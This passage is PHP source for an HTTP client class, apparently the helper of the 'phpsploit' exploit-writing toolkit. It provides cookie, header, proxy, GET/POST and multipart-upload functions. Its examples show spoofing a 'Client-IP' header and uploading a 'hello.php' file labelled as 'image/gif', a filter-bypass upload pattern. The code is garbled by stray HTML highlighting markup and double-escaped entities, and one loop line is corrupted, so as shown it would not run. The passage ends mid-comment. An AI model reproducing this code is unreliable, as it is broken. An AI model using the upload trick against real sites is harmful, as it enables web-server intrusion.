  function addcookie(<span style="color: #006699; font-weight: bold;">$cookn</span>,<span style="color: #006699; font-weight: bold;">$cookv</span>)
  {
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span> = array();
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>[<span style="color: #006699; font-weight: bold;">$cookn</span>] = <span style="color: #006699; font-weight: bold;">$cookv</span>;
  }
&nbsp;
&nbsp;
  /**
   * This function allows you to add several
   * headers in the request.
   *
   * @access  public
   * @param   string headern HeaderName
   * @param   string headervalue Headervalue
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;addheader</span>(&amp;#39;Client-IP&amp;#39;, &amp;#39;128.5.2.3&amp;#39;)
   * 
   */
  function addheader(<span style="color: #006699; font-weight: bold;">$headern</span>,<span style="color: #006699; font-weight: bold;">$headervalue</span>)
  {
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;header</span> = array();
&nbsp;
    <span style="color: #006699; font-weight: bold;">$this-&gt;header</span>[<span style="color: #006699; font-weight: bold;">$headern</span>] = <span style="color: #006699; font-weight: bold;">$headervalue</span>;
  }
&nbsp;
  /**
   * This function allows you to use an
   * http proxy server. Several methods
   * are supported.
   * 
   * @access  public
   * @param   string proxy ProxyHost
   * @param   integer proxyp ProxyPort
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxy</span>(&amp;#39;localhost&amp;#39;,8118)
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxy</span>(&amp;#39;localhost:8118&amp;#39;)
   * 
   */
  function proxy(<span style="color: #006699; font-weight: bold;">$proxy</span>,<span style="color: #006699; font-weight: bold;">$proxyp</span>=&amp;#39;&amp;#39;)
  {
    if(empty(<span style="color: #006699; font-weight: bold;">$proxyp</span>))
    {
      <span style="color: #006699; font-weight: bold;">$proxarr</span> = explode(&amp;#39;:&amp;#39;,<span style="color: #006699; font-weight: bold;">$proxy</span>);
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span> = <span style="color: #006699; font-weight: bold;">$proxarr[0]</span>;
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span> = (int)<span style="color: #006699; font-weight: bold;">$proxarr[1]</span>;
    }
    else 
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyhost</span> = <span style="color: #006699; font-weight: bold;">$proxy</span>;
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span> = (int)<span style="color: #006699; font-weight: bold;">$proxyp</span>;
    }
&nbsp;
    if(<span style="color: #006699; font-weight: bold;">$this-&gt;proxyport</span> &gt; 65535)
      die(&quot;</span>Error<span style="color: #339933;">:</span> Invalid port number<span style="color: #0000ff;">&quot;);
  }
&nbsp;
  /**
   * This function allows you to use an
   * http proxy server which requires a
   * basic authentification. Several
   * methods are supported:
   *
   * @access  public
   * @param   string proxyauth ProxyUser
   * @param   string proxypass ProxyPass
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxyauth</span>(&amp;#39;user&amp;#39;,&amp;#39;pwd&amp;#39;)
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;proxyauth</span>(&amp;#39;user:pwd&amp;#39;);
   * 
   */
  function proxyauth(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,<span style="color: #006699; font-weight: bold;">$proxypass</span>=&amp;#39;&amp;#39;)
  {
    if(empty(<span style="color: #006699; font-weight: bold;">$proxypass</span>))
    {
      <span style="color: #006699; font-weight: bold;">$posvirg</span> = strpos(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,&amp;#39;:&amp;#39;);
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span> = substr(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,0,<span style="color: #006699; font-weight: bold;">$posvirg</span>);
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxypass</span> = substr(<span style="color: #006699; font-weight: bold;">$proxyauth</span>,<span style="color: #006699; font-weight: bold;">$posvirg</span>+1);
    }
    else
    {
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxyuser</span> = <span style="color: #006699; font-weight: bold;">$proxyauth</span>;
      <span style="color: #006699; font-weight: bold;">$this-&gt;proxypass</span> = <span style="color: #006699; font-weight: bold;">$proxypass</span>;
    }
  }
&nbsp;
  /**
   * This function allows you to set
   * the &amp;#39;User-Agent&amp;#39; header.
   * 
   * @access  public
   * @param   string useragent Agent
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;agent</span>(&amp;#39;Firefox&amp;#39;)
   * 
   */
  function agent(<span style="color: #006699; font-weight: bold;">$useragent</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;addheader</span>(&amp;#39;User-Agent&amp;#39;,<span style="color: #006699; font-weight: bold;">$useragent</span>);
  }
&nbsp;
  /**
   * This function returns the headers
   * which will be in the next request.
   * 
   * @access  public
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span> Headers
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;showheader</span>()
   * 
   */
  function showheader()
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span> = &amp;#39;&amp;#39;;
&nbsp;
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span>))
      return;
&nbsp;
    foreach(<span style="color: #006699; font-weight: bold;">$this-&gt;header</span> as <span style="color: #006699; font-weight: bold;">$name</span> =&gt; <span style="color: #006699; font-weight: bold;">$value</span>)
      <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span> .= <span style="color: #006699; font-weight: bold;">$name</span>.&amp;#39;: &amp;#39;.<span style="color: #006699; font-weight: bold;">$value</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
&nbsp;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;header_str</span>;
  }
&nbsp;
  /**
   * This function returns the cookies
   * which will be in the next request.
   * 
   * @access  public
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span> Cookies
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;showcookie</span>()
   * 
   */
  function showcookie()
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span> = &amp;#39;&amp;#39;;
&nbsp;
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span>))
      return;
&nbsp;
    foreach(<span style="color: #006699; font-weight: bold;">$this-&gt;cookie</span> as <span style="color: #006699; font-weight: bold;">$name</span> =&gt; <span style="color: #006699; font-weight: bold;">$value</span>)
      <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span> .= <span style="color: #006699; font-weight: bold;">$name</span>.&amp;#39;=&amp;#39;.<span style="color: #006699; font-weight: bold;">$value</span>.&amp;#39;; &amp;#39;;
&nbsp;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;cookie_str</span>;
  }
&nbsp;
  /**
   * This function returns the last
   * formed http request.
   * 
   * @access  public
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span> HttpPacket
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;showlastrequest</span>()
   * 
   */
  function showlastrequest()
  {
    if(!isset(<span style="color: #006699; font-weight: bold;">$this-&gt;packet</span>))
      return;
    else
      return <span style="color: #006699; font-weight: bold;">$this-&gt;packet</span>;
  }
&nbsp;
  /**
   * This function sends the formed
   * http packet with the GET method.
   * 
   * @access  public
   * @param   string url Url
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>()
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;get</span>(&amp;#39;localhost/index.php?var=x&amp;#39;)
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;get</span>(&amp;#39;http://localhost:88/tst.php&amp;#39;)
   * 
   */
  function get(<span style="color: #006699; font-weight: bold;">$url</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;target</span>(<span style="color: #006699; font-weight: bold;">$url</span>);
    <span style="color: #006699; font-weight: bold;">$this-&gt;method</span> = &amp;#39;get&amp;#39;;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>();
  }
&nbsp;
  /**
   * This function sends the formed
   * http packet with the POST method.
   *
   * @access  public
   * @param   string url  Url
   * @param   string data PostData
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>()
   * @example <span style="color: #006699; font-weight: bold;">$this-&gt;post</span>(&amp;#39;http://localhost/&amp;#39;,&amp;#39;helo=x&amp;#39;)
   * 
   */	
  function post(<span style="color: #006699; font-weight: bold;">$url</span>,<span style="color: #006699; font-weight: bold;">$data</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;target</span>(<span style="color: #006699; font-weight: bold;">$url</span>);
    <span style="color: #006699; font-weight: bold;">$this-&gt;method</span> = &amp;#39;post&amp;#39;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> = <span style="color: #006699; font-weight: bold;">$data</span>;
    return <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>();
  }
&nbsp;
  /**
   * This function sends the formed http
   * packet with the POST method using
   * the multipart/form-data enctype.
   * 
   * @access  public
   * @param   array array FormDataArray
   * @return  string <span style="color: #006699; font-weight: bold;">$this-&gt;sock</span>()
   * @example <span style="color: #006699; font-weight: bold;">$formdata</span> = array(
   *                      frmdt_url =&gt; &amp;#39;http://localhost/upload.php&amp;#39;,
   *                      frmdt_boundary =&gt; &amp;#39;123456&amp;#39;, # Optional
   *                      &amp;#39;var&amp;#39; =&gt; &amp;#39;example&amp;#39;,
   *                      &amp;#39;file&amp;#39; =&gt; array(
   *                                frmdt_type =&gt; &amp;#39;image/gif&amp;#39;,  # Optional
   *                                frmdt_transfert =&gt; &amp;#39;binary&amp;#39; # Optional
   *                                frmdt_filename =&gt; &amp;#39;hello.php,
   *                                frmdt_content =&gt; &amp;#39;&amp;#39;));
   *          <span style="color: #006699; font-weight: bold;">$this-&gt;formdata</span>(<span style="color: #006699; font-weight: bold;">$formdata</span>);
   * 
   */
  function formdata(<span style="color: #006699; font-weight: bold;">$array</span>)
  {
    <span style="color: #006699; font-weight: bold;">$this-&gt;target</span>(<span style="color: #006699; font-weight: bold;">$array[frmdt_url]</span>);
    <span style="color: #006699; font-weight: bold;">$this-&gt;method</span> = &amp;#39;formdata&amp;#39;;
    <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> = &amp;#39;&amp;#39;;
&nbsp;
    if(!isset(<span style="color: #006699; font-weight: bold;">$array[frmdt_boundary]</span>))
      <span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span> = &amp;#39;phpsploit&amp;#39;;
    else
      <span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span> = <span style="color: #006699; font-weight: bold;">$array[frmdt_boundary]</span>;
&nbsp;
    foreach(<span style="color: #006699; font-weight: bold;">$array</span> as <span style="color: #006699; font-weight: bold;">$key</span> =&gt; <span style="color: #006699; font-weight: bold;">$value</span>)
    {
      if(!preg_match(&amp;#39;#^frmdt_(boundary|url)#&amp;#39;,<span style="color: #006699; font-weight: bold;">$key</span>))
      {
        <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> .= str_repeat(&amp;#39;-&amp;#39;,29).<span style="color: #006699; font-weight: bold;">$this-&gt;boundary</span>.&quot;</span>\r\n<span style="color: #0000ff;">&quot;;
        <span style="color: #006699; font-weight: bold;">$this-&gt;data</span> .= &amp;#39;Content-Disposition: form-data; name=&quot;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;.$key.&amp;#39;&quot;;&amp;#39;;
</span>				
        <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">is_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$value</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$value</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #b1b100;">else</span>
        <span style="color: #009900;">&#123;</span>
          <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39; filename=&quot;&amp;#39;.$array[$key][frmdt_filename].&quot;\&quot;;\r\n&quot;;
</span>
          <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>frmdt_type<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;Content-Type: &amp;#39;.$array[$key][frmdt_type].&quot;\r\n&quot;;
</span>
          <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>frmdt_transfert<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;Content-Transfer-Encoding: &amp;#39;.$array[$key][frmdt_transfert].&quot;\r\n&quot;;
</span>
          <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span>frmdt_content<span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
&nbsp;
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">data</span> <span style="color: #339933;">.=</span> <span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;-&amp;#39;,29).$this-&gt;boundary.&quot;--\r\n&quot;;
</span>    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">sock</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function returns the content
   * of the server response, without
   * the headers.
   * 
   * @access  public
   * @param   string code ServerResponse
   * @return  string $this-&gt;server_content
   * @example $this-&gt;getcontent()
   * @example $this-&gt;getcontent($this-&gt;get(&amp;#39;http://localhost/&amp;#39;))
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getcontent<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">=&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;)
</span>  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">recv</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_content</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;;
</span>		
    <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> this<span style="color: #339933;">-=</span><span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">&gt;</span>server_content <span style="color: #339933;">.=</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_content</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function returns the headers
   * of the server response, without
   * the content.
   * 
   * @access  public
   * @param   string code ServerResponse
   * @return  string $this-&gt;server_header
   * @example $this-&gt;getcontent()
   * @example $this-&gt;getcontent($this-&gt;post(&amp;#39;http://localhost/&amp;#39;,&amp;#39;1=2&amp;#39;))
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getheader<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">=&amp;</span><span style="color: #666666; font-style: italic;">#39;&amp;#39;)
</span>  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
      <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">recv</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_header</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">server_header</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function is called by the
   * cookiejar() function. It adds the
   * value of the &quot;Set-Cookie&quot; header
   * in the &quot;Cookie&quot; header for the
   * next request. You don&amp;#39;t have to
   * call it.
   * 
   * @access private
   * @param  string code ServerResponse
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> getcookie<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">foreach</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">explode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">getheader</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$header</span><span style="color: #009900;">&#41;</span>
    <span style="color: #009900;">&#123;</span>
      <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">preg_match</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;/set-cookie/i&amp;#39;,$header))
</span>      <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$fequal</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,&amp;</span><span style="color: #666666; font-style: italic;">#39;=&amp;#39;);
</span>        <span style="color: #000088;">$fvirgu</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,&amp;</span><span style="color: #666666; font-style: italic;">#39;;&amp;#39;);
</span>				
        <span style="color: #666666; font-style: italic;">// 12=strlen(&amp;#39;set-cookie: &amp;#39;)</span>
        <span style="color: #000088;">$cname</span>  <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">12</span><span style="color: #339933;">,</span><span style="color: #000088;">$fequal</span><span style="color: #339933;">-</span><span style="color: #cc66cc;">12</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #000088;">$cvalu</span>  <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$header</span><span style="color: #339933;">,</span><span style="color: #000088;">$fequal</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #000088;">$fvirgu</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cname</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">12</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">cookie</span><span style="color: #009900;">&#91;</span><span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cname</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #990000;">trim</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$cvalu</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * This function is called by the
   * get()/post() functions. You
   * don&amp;#39;t have to call it.
   *
   * @access  private
   * @param   string urltarg Url
   * @example $this-&gt;target(&amp;#39;http://localhost/&amp;#39;)
   * 
   */</span>
  <span style="color: #000000; font-weight: bold;">function</span> target<span style="color: #009900;">&#40;</span><span style="color: #000088;">$urltarg</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;^http://&amp;#39;,$urltarg))
</span>      <span style="color: #000088;">$urltarg</span> <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;http://&amp;#39;.$urltarg;
</span>   
    <span style="color: #000088;">$urlarr</span>     <span style="color: #339933;">=</span> <span style="color: #990000;">parse_url</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urltarg</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span>  <span style="color: #339933;">=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;http://&amp;#39;.$urlarr[&amp;#39;host&amp;#39;].$urlarr[&amp;#39;path&amp;#39;];
</span>		
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;query&amp;#39;]))
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">url</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;?&amp;#39;.$urlarr[&amp;#39;query&amp;#39;];
</span>
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">=</span> <span style="color: #339933;">!</span><span style="color: #990000;">empty</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;port&amp;#39;]) ? $urlarr[&amp;#39;port&amp;#39;] : 80;
</span>    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">host</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;host&amp;#39;];
</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">!=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;80&amp;#39;)
</span>      <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">host</span> <span style="color: #339933;">.=</span> <span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;:&amp;#39;.$this-&gt;port;
</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;path&amp;#39;]) or empty($urlarr[&amp;#39;path&amp;#39;]))
</span>      <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: No path precised&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">path</span> <span style="color: #339933;">=</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$urlarr</span><span style="color: #009900;">&#91;</span><span style="color: #339933;">&amp;</span><span style="color: #666666; font-style: italic;">#39;path&amp;#39;],0,strrpos($urlarr[&amp;#39;path&amp;#39;],&amp;#39;/&amp;#39;)+1);
</span>
    <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">port</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">65535</span><span style="color: #009900;">&#41;</span>
      <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Error: Invalid port number&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
&nbsp;
  <span style="color: #009933; font-style: italic;">/**
   * If you call this function,
   * the script will extract all
   * &amp;#39;Set-Cookie&amp;#39; headers values
   * and it will automatically add
   * them into the &amp;#39;Cookie&amp;#39; header
   * for all next requests.
   *
   * @access  public
